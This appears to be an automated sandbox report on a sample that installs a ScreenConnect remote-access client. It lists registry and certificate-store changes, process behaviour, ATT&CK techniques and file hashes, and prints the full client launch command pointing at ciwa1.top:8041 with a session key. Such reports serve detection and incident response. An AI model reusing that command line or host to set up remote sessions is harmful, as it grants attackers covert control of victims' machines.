Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\lock!120000009065570e480b0000f0130000000000000000000 = 30303030306234382c30316461373063396231643766653463	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 680074007400700073003a002f002f00630069007700610031002e0074006f0070002f00420069006e002f00530063007200650065006e0043006f006e006e006500630074002e0043006c00690065006e0074002e006100700070006c00690063006100740069006f006e002300530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f007700730043006c00690065006e0074002e006100700070006c00690063006100740069006f006e002c002000560065007200730069006f006e003d00320033002e0039002e00310030002e0038003800310037002c002000430075006c0074007500720065003d006e00650075007400720061006c002c0020005000750062006c00690063004b006500790054006f006b0065006e003d0032003500620030006600620062003600650066003700650062003000390034002c002000700072006f0063006500730073006f0072004100720063006800690074006500630074007500720065003d006d00730069006c002f00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f007700730043006c00690065006e0074002e006500780065002c002000560065007200730069006f006e003d00320033002e0039002e00310030002e0038003800310037002c002000430075006c0074007500720065003d006e00650075007400720061006c002c0020005000750062006c00690063004b006500790054006f006b0065006e003d0032003500620030006600620062003600650066003700650062003000390034002c002000700072006f0063006500730073006f0072004100720063006800690074006500630074007500720065003d006d00730069006c002c00200074007900700065003d00770069006e00330032000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0009_d53e517fe1a71202\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9\lock!180000009065570e480b0000f0130000000000000000000 = 30303030306234382c30316461373063396231643766653463	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{60051b8f-4f12-400a-8e50-dd05ebd438d1}	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9\DigestValue = b12197a877fb7e33b1cb5ba11b0da5ca706581ba	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0009_none_4b563d129b766e28\lock!100000009065570e480b0000f0130000000000000000000 = 30303030306234382c30316461373063396231643766653463	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6\Transform = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9\lock!0c0000000365570e580b00006c0e0000000000000000000 = 30303030306235382c30316461373063396164616166613264	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Assemblies	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6\lock!080000008065570e480b0000f0130000000000000000000 = 30303030306234382c30316461373063396231643766653463	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\DigestValue = cc57bfd02228be76c6e08bde16996fa992ff0e54	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9\implication!scre..tion_25b0fbb6ef7eb094_0017.0009_fc = 68747470733a2f2f63697761312e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\lock!010000004864570e580b00006c0e0000000000000000000 = 30303030306235382c30316461373063396164616166613264	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0009_fc47141365ebe6b7	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9\DigestValue = 334202965b07ab69f08b16fed0ee6c7274463556	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9\Files\ScreenConnect.Windows.dll_fc0d83aff7df0b5 = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0009_none_fbe0c2da0011fbbd\lock!0c0000008065570e480b0000f0130000000000000000000 = 30303030306234382c30316461373063396231643766653463	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0009_none_4b563d129b766e28	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0017.0009_none_171efd5086820924\Files\ScreenConnect.ClientService.dll_e781b1c63 = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0017.0009_none_171efd5086820924\Transform = 01	dfsvc.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0	dfsvc.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3648	ScreenConnect.WindowsClient.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3104	ScreenConnect.ClientService.exe
3104	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2904	dfsvc.exe
Token: SeDebugPrivilege	3104	ScreenConnect.ClientService.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1896 wrote to memory of 2904	1896	b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe	84
PID 1896 wrote to memory of 2904	1896	b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe	84
PID 2904 wrote to memory of 2888	2904	dfsvc.exe	85
PID 2904 wrote to memory of 2888	2904	dfsvc.exe	85
PID 2904 wrote to memory of 2888	2904	dfsvc.exe	85
PID 2888 wrote to memory of 916	2888	ScreenConnect.WindowsClient.exe	86
PID 2888 wrote to memory of 916	2888	ScreenConnect.WindowsClient.exe	86
PID 2888 wrote to memory of 916	2888	ScreenConnect.WindowsClient.exe	86
PID 3104 wrote to memory of 3648	3104	ScreenConnect.ClientService.exe	88
PID 3104 wrote to memory of 3648	3104	ScreenConnect.ClientService.exe	88
PID 3104 wrote to memory of 3648	3104	ScreenConnect.ClientService.exe	88

C:\Users\Admin\AppData\Local\Temp\b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe
"C:\Users\Admin\AppData\Local\Temp\b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe"
1⤵
- Manipulates Digital Signatures
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1896
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Users\Admin\AppData\Local\Apps\2.0\VQYBZRZ1.O3H\0O08WJRQ.QMN\scre..tion_25b0fbb6ef7eb094_0017.0009_d53e517fe1a71202\ScreenConnect.WindowsClient.exe
    "C:\Users\Admin\AppData\Local\Apps\2.0\VQYBZRZ1.O3H\0O08WJRQ.QMN\scre..tion_25b0fbb6ef7eb094_0017.0009_d53e517fe1a71202\ScreenConnect.WindowsClient.exe"
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2888
  - - C:\Users\Admin\AppData\Local\Apps\2.0\VQYBZRZ1.O3H\0O08WJRQ.QMN\scre..tion_25b0fbb6ef7eb094_0017.0009_d53e517fe1a71202\ScreenConnect.ClientService.exe
      "C:\Users\Admin\AppData\Local\Apps\2.0\VQYBZRZ1.O3H\0O08WJRQ.QMN\scre..tion_25b0fbb6ef7eb094_0017.0009_d53e517fe1a71202\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=ciwa1.top&p=8041&s=5663c039-6d9c-4534-b990-d1e4b12e0235&k=BgIAAACkAABSU0ExAAgAAAEAAQBtRcOmkrgNYslRocOkTkuTyihOpi8jiGU066NYR9jBDXkHxmSQ2YVUm3s8%2fooJYnEhSV7fUNG1B5eE%2bEBaTsdMjuSy6wM5sWHiNov0I%2fCi2R8idtf7h0sRNyUXYU5mv3W%2f%2bAAUF5FVSqznlNh79hYpQ5ibv2AEsvG1v7zIzpVIe9GJKEaCyiMYnNwSkNrJyk7EHRdZqqtnkfYNP7V5qS%2f5EGwD4G1QOOnZh31YJbjAYbQ8GP%2b16XpkKKcCdOuQgGXJcCyDfk7uTR3jzS8ZKuveOcMCrYggcWYA0u%2bjDf3hxmbOoHDVTNrhlpt3R6xZaEcGEohbZJ69mglDgpaukS6e&r=&i=ard-hemali%20raval-james-1-3-2024" "1"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:916

C:\Users\Admin\AppData\Local\Apps\2.0\VQYBZRZ1.O3H\0O08WJRQ.QMN\scre..tion_25b0fbb6ef7eb094_0017.0009_d53e517fe1a71202\ScreenConnect.ClientService.exe
"C:\Users\Admin\AppData\Local\Apps\2.0\VQYBZRZ1.O3H\0O08WJRQ.QMN\scre..tion_25b0fbb6ef7eb094_0017.0009_d53e517fe1a71202\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=ciwa1.top&p=8041&s=5663c039-6d9c-4534-b990-d1e4b12e0235&k=BgIAAACkAABSU0ExAAgAAAEAAQBtRcOmkrgNYslRocOkTkuTyihOpi8jiGU066NYR9jBDXkHxmSQ2YVUm3s8%2fooJYnEhSV7fUNG1B5eE%2bEBaTsdMjuSy6wM5sWHiNov0I%2fCi2R8idtf7h0sRNyUXYU5mv3W%2f%2bAAUF5FVSqznlNh79hYpQ5ibv2AEsvG1v7zIzpVIe9GJKEaCyiMYnNwSkNrJyk7EHRdZqqtnkfYNP7V5qS%2f5EGwD4G1QOOnZh31YJbjAYbQ8GP%2b16XpkKKcCdOuQgGXJcCyDfk7uTR3jzS8ZKuveOcMCrYggcWYA0u%2bjDf3hxmbOoHDVTNrhlpt3R6xZaEcGEohbZJ69mglDgpaukS6e&r=&i=ard-hemali%20raval-james-1-3-2024" "1"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3104
- C:\Users\Admin\AppData\Local\Apps\2.0\VQYBZRZ1.O3H\0O08WJRQ.QMN\scre..tion_25b0fbb6ef7eb094_0017.0009_d53e517fe1a71202\ScreenConnect.WindowsClient.exe
  "C:\Users\Admin\AppData\Local\Apps\2.0\VQYBZRZ1.O3H\0O08WJRQ.QMN\scre..tion_25b0fbb6ef7eb094_0017.0009_d53e517fe1a71202\ScreenConnect.WindowsClient.exe" "RunRole" "3456be24-5466-4051-a459-5aa1b204ff5f" "User"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: AddClipboardFormatListener
  PID:3648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Apps\2.0\VQYBZRZ1.O3H\0O08WJRQ.QMN\manifests\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445.cdf-ms

Filesize
24KB

MD5
ce9d3a51f3c54764d115f0dd5110cd29

SHA1
971ed3514e2c397d2d0bced3527eab00da4b9493

SHA256
c23c4196e38ea3abe0edd7c6b311a0121127ae539e5b12d3c73317336bc91238

SHA512
2d2635ec5f8ca666c7ba1ff115bc9f86a6545d0809f7222471739705c804ccbf716c3cc2ba049508914dc61eec31f0732e275732ccd3b0cda0c171b1f3b62e75

Download Submit
C:\Users\Admin\AppData\Local\Apps\2.0\VQYBZRZ1.O3H\0O08WJRQ.QMN\manifests\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9.cdf-ms

Filesize
3KB

MD5
cf491effb716f49da9ba904cc9c3106a

SHA1
6d3a3cd8ae1fb883fe4c8d670e91556b7f3e93fe

SHA256
a10d117af9b55f1f08852b6f0074e85272a90362e8ce7ac751e657b5136dd7a6

SHA512
b0ea3b9c728379ae30d66baf1c6a8511b89d814398d0417481e32ac626ed37671b005375847291d7fddac8d4218253ad8650dc6775c89af19a8b67f8f843ad44

Download Submit
C:\Users\Admin\AppData\Local\Apps\2.0\VQYBZRZ1.O3H\0O08WJRQ.QMN\manifests\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9.cdf-ms

Filesize
5KB

MD5
2ee77f4f2eef653607df219f1d36a17a

SHA1
2fb00e666bf39ebf5ff6c3b351e447078a2b34fb

SHA256
ca296305f6e550e358ba9e1278fc1d96ba863aa55b166d7920a7d06cd932ea20

SHA512
b2f717c70b6e54bb0df17548ff8be94f0f46e5f66f5a01b90387b90c27818a58bd42f7d70b768393111f63c00a64698c5d057cad299983fae57d60a8755eddc2

Download Submit
C:\Users\Admin\AppData\Local\Apps\2.0\VQYBZRZ1.O3H\0O08WJRQ.QMN\manifests\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6.cdf-ms

Filesize
6KB

MD5
3b841738b871008b3258a76e7159ac96

SHA1
d58194c2c86f1643137610a661d1a27cd5dce2a2

SHA256
378e6c5caa3d12e69de56075ceb4878ac5058353a500ec28ec7dc7748ac03bd0

SHA512
f11d238654df2a3e0e2eb1bd56e641791cbfac22a874dcb29a430e8fe80a370c6921d57f2aa3ec6659a34a14aa1c5d162867920464fcdd460eb81a026ce6518a

Download Submit
